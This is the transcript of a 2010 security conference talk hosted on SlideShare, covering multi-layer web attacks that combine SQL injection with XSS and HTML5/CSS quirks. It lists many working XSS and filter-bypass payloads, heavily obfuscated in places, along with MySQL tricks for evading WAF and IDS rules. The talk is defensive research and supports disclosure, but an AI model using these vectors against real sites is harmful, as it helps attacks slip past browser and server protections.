• Share
  • Email
  • Embed
  • Like
  • Save
  • Private Content
The Future of Web Attacks - CONFidence 2010
 

The Future of Web Attacks - CONFidence 2010

on

  • 5,028 views

 

Statistics

Views

Total Views
5,028
Views on SlideShare
4,897
Embed Views
131

Actions

Likes
2
Downloads
68
Comments
0

7 Embeds 131

http://www.slideshare.net 117
http://itsec.soup.io 8
https://si0.twimg.com 2
http://www.soup.io 1
http://www.lmodules.com 1
http://static.slidesharecdn.com 1
https://twimg0-a.akamaihd.net 1
More...

Accessibility

Categories

Upload Details

Uploaded via as Adobe PDF

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

    The Future of Web Attacks - CONFidence 2010 The Future of Web Attacks - CONFidence 2010 Presentation Transcript

    • The Presence and Future of Web Attacks Multi-Layer Attacks, XSSQLI+ and HTML5 A presentation by Mario Heiderich for CONFidence 2010, Krakow
    • WARNING This talk will be technical, chaotic and|or hurt
    • Intro Mario Heiderich @0x6D6172696F  Based in Cologne  CTO for Business IN Inc - working on workube.com  Independent Security Researcher  PHPIDS and something we will see later on
    • Why this talk?  What happened to web application security?  Always the same... so 2002 right?  XSS, SQL Injections, Auth and path traversal  We have amazing things now!  NoScript, the IE8 and Chromium XSS filter and CSP  Users must be safer than ever!  But didn't the web change?  Wasn't there HTML5 and next generation browsers?
    • Oh wait - developers!  Web app development frameworks help  Building applications faster  Pre-implemented SQLI and XSS protection  Secure forms with complex CSRF tokens  Webroot contains webroot only files  Weaknesses regarding JavaScript generation  Client side logic mostly built manually  Different templates for browsers, mobile devices, feeds  Offline mode, client side validation, DOM access
    • User Agents on steroids  Chrome 5 and Opera 10.5 ship client side databases  IE9 is coming soon with more standards conformity  Integrated security mechanisms  The death of eval()  A fat client dynasty is coming up  Who needs a server anyway if clients do all the work  And store their data in „the cloud“   Bye bye SQL - say hello to NoSQL?
    • Web applications are changing  And so are the attacks against them  If the attack happens on and against the client  Of what use will a server side IDS / WAF solution be?  Today we can have a little preview for that scenario  One question might be...  How will protective mechanisms react on multi-layer attacks?
    • Multi-layer what?  What about utilizing the DBMS to generate an XSS attack  NoScript detects most XSS attacks without problems  Circumvention has become very difficult  Thanks to Giorgio Maone and the NoScript user base. And me :P  Let's have a look at my last one (disclosed via SSD - fixed in 1.9.9.48)  Aren't dataURIs the sweetest thing?  <a href="d&#097t&#x0061: . &#x2c &#x25;  3  c s cri &#x00D; pt % 3 e alu0065rt(1)%3c  /s &#x43 RI &#x009 P t>"
    • Difficult!  We can probably agree that it's not as easy anymore  Same thing for the IE8 XSS filter  Or implementations of toStaticHTML()  Most quirky JavaScript encoding techniques are documented  Not too many user agent specific surprises anymore    Help from another layer would be appreciated  Let's have a look at a "classic webapp" example
    • Imagine the DBMS helps  Hypothesis  A verbose SQL Injection vulnerability is always at least an "unfilterable" XSS  Verification  Just make use of the obfuscation possibilities the DBMS provides  SELECT 0x3C7363726970743E616C6572742831293C2F7363726970743E  SELECT UpdateXML(concat( 0x3c,'script',0x3e,'alert(1)',0x3c,'/ script',0x3e), '/x', 0);  SELECT/**/'<sc'"rip"'t>al'"er"'t(1)'"</sc"'ript>'
    • MySQL and PostgreSQL  MySQL only ships two basic XML functions  UpdateXML() and ExtractValue()  PostgreSQL has far more advanced XML support  SELECT xmlelement(name img,xmlattributes(1 as src,'alert(1)'as onerror))  SELECT xmlforest(loWER('x41'||'lert(1)') AS script);  And my favorite  SELECT xpath('//text()', '<x:x>&#x3c;imgx20src=x onerror=alert(1);&#x2f;&#x2f;</x:x>', ARRAY[ARRAY['x', '']]);
    • SQL Injection and XSS  There are more intersections for XSS and SQLI  „Remember“ the client side databases?  And the short lived Google Gears?  HTML5 and W3C Offline Web Applications 1.0 give us window.openDatabase()  SQL execution on the user agent  Currently supported by Chrome and Opera  Usually implemented using SQLite
    • Code please <script type="text/javascript"> openDatabase('',1,1,0).transaction(function($){ $.executeSql( 'SELECT "x61lert(1u0029"', [], function($,results){ for(i in results.rows.item(0)) eval(results.rows.item(0)[i]) }) }) </script>  Selects the string "alert(1)"  And evaluates the result
    • Short Roundup  The browsers speak SQL now  The server side DBMS can generate HTML and JavaScript  We already outsmarted NoScript and IE8 XSS filter  Not really a fair game though  Multi-layer attacks mean multi-layer obfuscation  In future webapps the client side DBMS will generate our XSS payload     But today we still have to trick the server side protection  Bypass IDS and WAF with a trigger
    • Attackers like obfuscation  And why wouldn't they - right?  Obfuscation usually means concatenation  And a bit of encoding spice  But how to concatenate in SQL so no one will notice the attack?  Which operator to choose?  Everybody knows chr(), char() and double-pipe...
    • In MySQL - none at all  MySQL doesn't need parenthesis to concatenate  And doesn't know the double-pipe operator  Sorry mod_security...  But luckily MySQL accepts concatenation via whitespace  SELECT "a" "d" "m" "i" "n"  SELECT'a'"d"'m'"i"'n'  Or why not use an integer overflow in char()  SELECT concat( char( x'70617373', b'1110111011011110111001001100100'))
    • So again...  We can bypass the server side protection mechanisms  As well as client side tools  No parenthesis or special operators needed on MySQL  We can also trick MySQL and the IDS with MySQL specific code  SELECT--/*!500005,*//*!400004,*//*!300003,*/
    • Back to the user agent  But what if no server side DBMS is involved in the attack  What if the client side database is being targeted  We still need to execute some JavaScript bypassing either server side IDS and the client side security mechanisms  Let's have a look at some freaky examples
    • Remember dataURIs?  The whole requested resource embedded in the URI  DataURIs work smoothly on Firefox, Opera and Chrome  But IE8 and 9 have problems  Some say the minimal dataURI support was just for ACID 2
    • People say...  ...it's not possible to execute JavaScript via dataURI on IE  Do we agree on that?  No we don't!  <style> @import "data:,*%7bx:expression(write(2))%7D"; </style>  <link rel="Stylesheet" href="data:,* %7bx:expression(write(4))%7d">
    • And there's more  CSS expression() is believed to be dead on IE8  But it isn't  It's only disabled in standard mode  In case a recognized DOCTYPE is present  The new HTML5 doctype isn't  So this works: <!docytpe html> <div style="background:url('abc', x!=x=expression(write(2));)">
    • And even worse...  HTML5 forces user agents to be more tolerant again  New tags, new attributes, new parsing rules  And tons of new features like the mentioned openDatabase()  Some nifty examples from the future  <video/poster=javascript:alert(1)// Opera 10.5+  <style>@import javascript:alert(1); // IE9 (!)
    • Closing tags + free 0day  Another weird artifact has been reported for IE6 some years ago  It's attributes in closing HTML tags  Believed to be dead... but  This still works on all IEs  <td>phoobar</td style=expression(write(1))>  And what about this?  <style>*{background:url(foo!!- =expression(write(1));</style>
    • Opera CSS XSS  Since Mozilla fixed the dataURI and cross domain problems with -moz-binding IE was believed to be unique  Unique regarding JavaScript execution via CSS  But Opera ships an artifact too  <style>*{-o-link:'javascript:alert(1)';-o-link- source:current}</style>
    • Now we have...  Server side SQL helping to circumvent client side XSS filters  Effective SQL obfuscation circumventing WAF and IDS  "Obfuscation-mash ups" using several layers  Quirky HTML triggers to execute the JS  Sounds like only one player is missing  Even more freaky markup obfuscation! Awesome! Now breathe..
    • Meet Harold the markup ghoul This is Harold: 1;--<?f><l ₩ :!!:x /style=`b&#x5c;65h0061vIor/ĸ :url(#def&#x61ult#time2)ö/';'` ₩ /onb egin= &#x5bµ=u00&#054;1le&#114t&#40&#x31)&# x5d&#x2f/&#xyŧ>  It's completely legitimate to call me a mad man now and say this is never gonna work  So - demo time: http://heideri.ch/jso/what???
    • What... what is this?  It's a piece of markup – obfuscated to the max  Working on IE only – but all versions from 5 to 9  Based on the HTML+TIME API (What? Stuff like that still exists?)  Does your WAF know what to do with it?  Overall about 12-13 obfuscation steps  Buy me a beer later on and I will give you a full explanation :D
    • Round Up  We are not living in web app = CRUD application times anymore  Modern webapps accept input from many channels  User input via HTTP is just one of them  API calls, RPC, DOM, Drag&Drop, file meta data & EXIF...  WAF/IDS as well as pentesters need to look into HTML5  New application structures and design pattern must be understood  Client and server versus rich-client and cloud  SQLite and NVP versus RDBMS  Massive client diversity via mobile devices
    • Expectations and tasks  Fewer basic and reflective XSS  More out-of-band attacks and heavy obfuscation  We didn't even cover Flash and PDF  More JSON and E4X hijacking  SVG based attacks and rogue multimedia objects  Don't ignore the user agent  Understand client side obfuscation and multi-layer obfuscation  Don't trust filters. Ever.  We broke HTMLPurifier and most other markup filters some days ago with one single vector  And don't trust the cloud – it's a business model and not your buddy :D
    • So what can I do?  Help with research and participation!  Communication and disclosure  For good!  But how?
    • The Ultimate Cheatsheet  http://heideri.ch/jso
    • Ping us!  Add new vectors  Get a channel to speak to vendors  Most are more responsive than one might think  Use it for..  Your own scanner software  Your own local version  Whatever you want!  Open API in JSON  Multiple languages  Flexible payload  You need more? Tell us!
    • Do what now?  Go here!  http://code.google.com/p/html5security/
    • Questions & Comments  Thanks very much for listening!  Wait - no goodies this time? Meh!!1
    • Yaaaaaaay! Goodies!  Did you know Firefox has a DOM object called crypto?  PKI meets JavaScript  And another eval() for free!  crypto.generateCRMFRequest( 'CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use' );
    • Good bye!